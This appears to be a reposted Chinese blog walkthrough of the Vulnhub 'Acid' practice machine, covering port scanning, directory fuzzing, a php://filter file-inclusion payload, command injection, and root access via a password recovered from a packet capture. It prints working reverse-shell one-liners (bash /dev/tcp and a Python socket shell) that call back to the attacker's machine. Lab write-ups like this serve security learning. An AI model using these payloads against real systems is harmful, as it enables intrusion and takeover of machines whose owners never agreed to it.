Acid靶機滲透


Acid滲透靶機實戰

攻擊機:kali 192.168.41.147

靶機: acid 192.168.41.149

信息收集

  • ip發現

開啟Acid靶機,通過nmap進行局域網存火主機掃描.
![](https://img2018.cnblogs.com/blog/1357258/201907/1357258-20190725111009774-877137553.png)

  • 端口掃描

通過nmap進行端口掃描,因為nmap默認是掃描1000個端口,發現沒有開放服務。於是我設置了端口為全端口1-65535



目標主機在33447開了http服務,web服務器是Apache/2.4.10 系統是 Ubuntu ,沒有發現cms指紋

開始滲透實戰

首先利用dirsearch掃描下網站目錄,同時進入網站 http://192.168.41.149:33447/ 看看有沒有可以值得利用的地方

查看網頁源代碼,發現一串16進制的數,轉化成字符=> d293LmpwZw==, base64在轉化=> wow.jpg


有/images/目錄,進入網站的images目錄發現403,呢么加個/wow.jpg看看

保存圖片到本地,查看有沒有隱藏什么信息,直接用winhex打開。發現有一些特別的數字,看着像16進制。txt是個好東西,直接拖進txt里,然后替換:為空

轉為字符串解出來是一串7aee0f6d588ed9905ee37f16a7c610d4,看着像md5,拿着去解一下

disbuster fuzz

到這就沒思路了,接下來該怎么搞,看WP是用dirbuster爆破出來的challenge目錄,我的dirrsearch不行啊,煞筆了,網站標題就是/Challenge
百度了下dirbuster的fuzz 目錄的用法,fuzz下/Challenge目錄下的php文件

找到了**cake.php,include.php,error.php,index.php,hacked.php**

我們先進入Chanllenge目錄主頁看下,有種似曾相識的感覺,在領航杯的第一次AWD那年,碰到的主頁一樣

在main.css中找到這幾句話
>>>Conclusion:
Through Login/Logout form it becomes easy to deal with sessions in PHP. Hope you like it, keep reading our other blogs.
Comments and Responses
Your email address will not be published. Required fields are marked *
那就讓我們去尋找下別的點

cake.php

查看源碼中,出現了/Magic_Box的字樣,估計是個目錄

hacked.php

並沒有發現什么東西

error.php

同樣,什么東西都沒有發現

include.php

看文件名,就知道可能跟文件包含有關系。果然,直接給了個文件包含的頁面


當輸入index.php時,發現頁面會重疊index.php的畫面,看來是直接包含了,而不是進入包含的頁面,並且url參數有可以利用的點,讓我們來用php偽協議來看看源碼
payload: http://192.168.41.149:33447/Challenge/include.php?file=php://filter/read=convert.base64-encode/resource=index.php&add=Extract+File
頁面一閃而過,可以bp抓包查看,確實以base64編碼格式讀取了index.php的源碼

index.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';
sec_session_start();
$_SESSION['index_page']=time();

if (login_check($mysqli) == true) {
$logged = 'in';
} else {
$logged = 'out';
}
?>
<!DOCTYPE gkg.qvpn html>
<html>
<head>
<title>Secure Login: Log In</title>
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<script type="text/JavaScript" src="js/sha512.js"></script> 
<script type="text/JavaScript" src="js/forms.js"></script>

</head>
<body>
<div class="wrapper">
<div class="container">
<h1>Welcome to Hell</h1>
<?php
if (isset($_GET['error'])) {
echo '<p class="error">Error Logging In!</p>';
}
?> 
<form action="includes/process_login.php" method="post" name="login_form"> Email: <input type="text" placeholder="Email Address" name="email" maxlength="20" /> Password: <input type="password" placeholder="Password" name="password" id="password"/> <input type="submit" value="Login" onclick="formhash(this.form, this.form.password);" /> </form> </div> <p>You are currently logged <?php echo $logged ?>.</p> <ul class="bg-bubbles"> <li></li> <li></li> <li></li> <li></li> <li></li> <li></li> <li></li> <li></li> </ul> </div> <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script> <script src="js/index.js"></script> </body> </html>

再看下別的頁面

hacked.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';

sec_session_start();

if (!isset($_SESSION['protected_page'])){
header('Location: protected_page.php');
exit;
}
if (!isset($_SESSION['index_page'])){
header('Location: protected_page.php');
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<title>Try to Extract Juicy details</title>
</head>
<body>
<div class="wrapper">
<div class="container">
<?php
if(isset($_REQUEST['add']))
{
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = 'mehak';
$conn = mysql_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
die('Could not connect: ' . mysql_error());
}

$id = $_POST['id'];
$sql = "SELECT * FROM members WHERE ID = (('$id'))";
mysql_select_db('secure_login');
$retval = mysql_query( $sql, $conn );
if(! $retval )
{
die('Could not enter data: ' . mysql_error());
}
echo "You have entered ID successfully...Which is not a big deal :D\n";
mysql_close($conn);
}
?>
<p> <h1>You are going Good...Show me your Ninja Skills.</h1> <br> 
<form method="get" action="<?php $_PHP_SELF ?>"> Enter your ID:<input name="id" placeholder="id" type="text" id="id" maxlength="20"> <input name="add" type="submit" id="add" value="Add ID"> </body> </html>
cake.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';
?>

 

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<title>/Magic_Box</title>
</head>
<body>
<div class="wrapper">
<div class="container">
<p><h1><font color='Red'>Ah.haan....There is long way to go..dude :-)</h1></font><br><font color='Green'>Please <a href="index.php">login</a></f$
</body>
</html>
<?php

/* Come on....catch this file "tails.php" */
?>

 看到hacked.php中,當兩個session都有時候才會繼續下面的內容,只有當你進入,index.php和protected_page之后,訪問hacked.php,才會出現如下頁面

好像沒啥用啊?把之前找的md5密碼拿出來填進去,以為會發現什么有趣的事,結果跟沒啥用的頁面。

然后發現cake.php最后一行中,有提示tails.php,嘗試進入,發現not found,include試試看,也是個302跳轉到protected_page(被耍了嗎,我去)

然后還是回到原來,發現的Magic_box目錄,用dirbuster來fuzz下目錄文件

Command injection

發現了一個command.php頁面,估計是直接命令執行的頁面,我們可以直接反彈個shell,然后找一下真正的flag(我發現了,普通的字典是跑不出來的,OWASP里的字典才行)

命令執行成功,這里可以用; 或者&和|,都可以執行,但是記得urlendoce下,因為是特殊符號,需要url編碼,不然可能不會執行

 

嘗試反彈shell,kali,nc監聽9090端口,nc -lvvp 9090

>>payload:bash -i >& /dev/tcp/192.168.41.147/9090 0>&1     失敗

>>payload:python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.41.147',9090));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"    成功反彈shell

 

 

 提權

然后看一下/etc/passwd,查找一些有用的信息.

發現有兩個用戶能登陸並且能操作終端

 emmmmm,然后不會了,看了WP,不會提權啊,自己嘗試百度找找su提權的東西

知識點如下

  • sudo : 暫時切換到超級用戶模式以執行超級用戶權限,提示輸入密碼時該密碼為當前用戶的密碼,而不是超級賬戶的密碼。不過有時間限制,Ubuntu默認為一次時長15分鍾。
  • su:      切換到某某用戶模式,提示輸入密碼時該密碼為切換后賬戶的密碼,用法為“su 賬戶名稱”。如果后面不加賬戶時系統默認為root賬戶,密碼也為超級賬戶的密碼。沒有時間限制
  • sudo -i: 為了頻繁的執行某些只有超級用戶才能執行的權限,而不用每次輸入密碼,可以使用該命令。提示輸入密碼時該密碼為當前賬戶的密碼。沒有時間限制。執行該命令后提示符變為“#”而不是“$”。想退回普通賬戶時可以執行“exit”或“logout” 。
  • sudo -i 直接運行sudo命令加-i參數
    sudo su 運行sudo命令給su命令提權,運行su命令。
    sudo -i 運行結果 PWD=/root
    sudo su 運行結果 PWD=/home/用戶名(當前用戶主目錄)

也就是我們需要su到一個普通用戶,只要知道用戶密碼,可以通過sudo-i,直接提權至root用戶。

但是,su命令前提需要一個終端,需要的是一個終端設備輸入密碼,但是我們反彈shell的真是一個標准輸入樣子的。

我們可以用python命令生成一個虛擬的終端( Python -c 'import pty;pty.spawn("/bin/sh")' )

 

OK,su命令可以用了,接下來就是提權到acid后者saman,再sudo -i 提權到root用戶

但是su 到任意用戶,我們都需要這個用戶的密碼,我們才能登陸

shadow是真正保存密碼的地方,但是我們啥權限都沒有---,很悲催,所有者為root,且shadow組下的用戶才有查看的權限

到這里好像就走不下去了,偷瞄一眼WP。

接下來我們可以查看下相關用戶的文件,利用find / -user 命令

命令:find / -user acid  2>/dev/null                    解釋下: 2>/dev/null   2再ilnux中的意思是標准錯誤,/dev/null指空設備,即將標准錯誤重定向到空設備=>不會報錯,顯錯

 

不加的話,就會提示錯誤信息,沒有權限等等,這樣反而給我們閱讀造成困擾,本來就沒權限的,還需要你再告訴一遍嘛(下面還一堆錯誤信息😂)

 

舒服多了,我們來找下有沒有什么可以利用的文件

很貼心,第一行就告訴了我們😂,嘗試用wireshark讀取查看,xx,這怎么看,人家有沒裝wireshark,又觸及到我的知識盲區,瞄一眼WP

利用scp命令進行Linux之間復制文件和目錄(基於ssh登陸的安全的拷貝文件命令)

命令格式 :

scp local_file remote_username@remote_ip:remote_file 

scp root@www.runoob.com:/home/root/others/music /home/space/music/1.mp3

wireshark分析下,找了半天,都是些亂四八糟的協議,snmp,arp協議等等,索性直接搜索http和tcp流看看

可以發現,這像是一個聊天會話並且關於saman用戶的,而且貌似出現了密碼吧?1337hax0r,此前在一個command.php頁面也有

成功提權至saman用戶,接下來就可以直接sudo -i 提升至root用戶

成功提權至root用戶

 

知識點:dirbuster fuzz,命令執行,反彈shell,python命令生成虛擬終端,su,sudo提升權限

命令執行: ; , & , | 繞過

python命令生成交互終端:Python -c 'import pty;pty.spawn("/bin/sh")'

su:切換用戶,需要知道密碼

sudo:是允許系統管理員讓普通用戶執行一些或者全部的root命令的一個工具。不是所有用戶都可以用sudo -i 直接升為root,而是再/etc/sudoers中指定哪些用戶可以用sudo命令

簡單學習下linux中的權限問題:

 

 比如: rwxr-xr-x  5 root root  94 Jun 27 2017 xdg   三個為一組

rwx:代表文件所有者(u表示)權限,這里是root,root對該文件擁有讀寫執行權限

r-x :  代表所屬組(g表示)的權限,這里所屬組擁有對該文件讀和執行的權限

r-x :  代表其他人(o表示)的權限,這里和上面權限一樣

所以平常大家都希望看到的777,就是rwx,擁有讀寫執行的權限😂

 

並非獨立完成,參考了他人的鍛煉記錄

學習資料: Acid:https://www.360zhijia.com/anquan/372977.html  (內附Acid靶機,其他靶機可在Vulnhub下載)

       Linux /etc/passwd詳解https://blog.csdn.net/zyy1659949090/article/details/88176215

                 Linux 權限詳解https://www.cnblogs.com/songgj/p/8890710.html

零零散散的百度知識就不附上了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM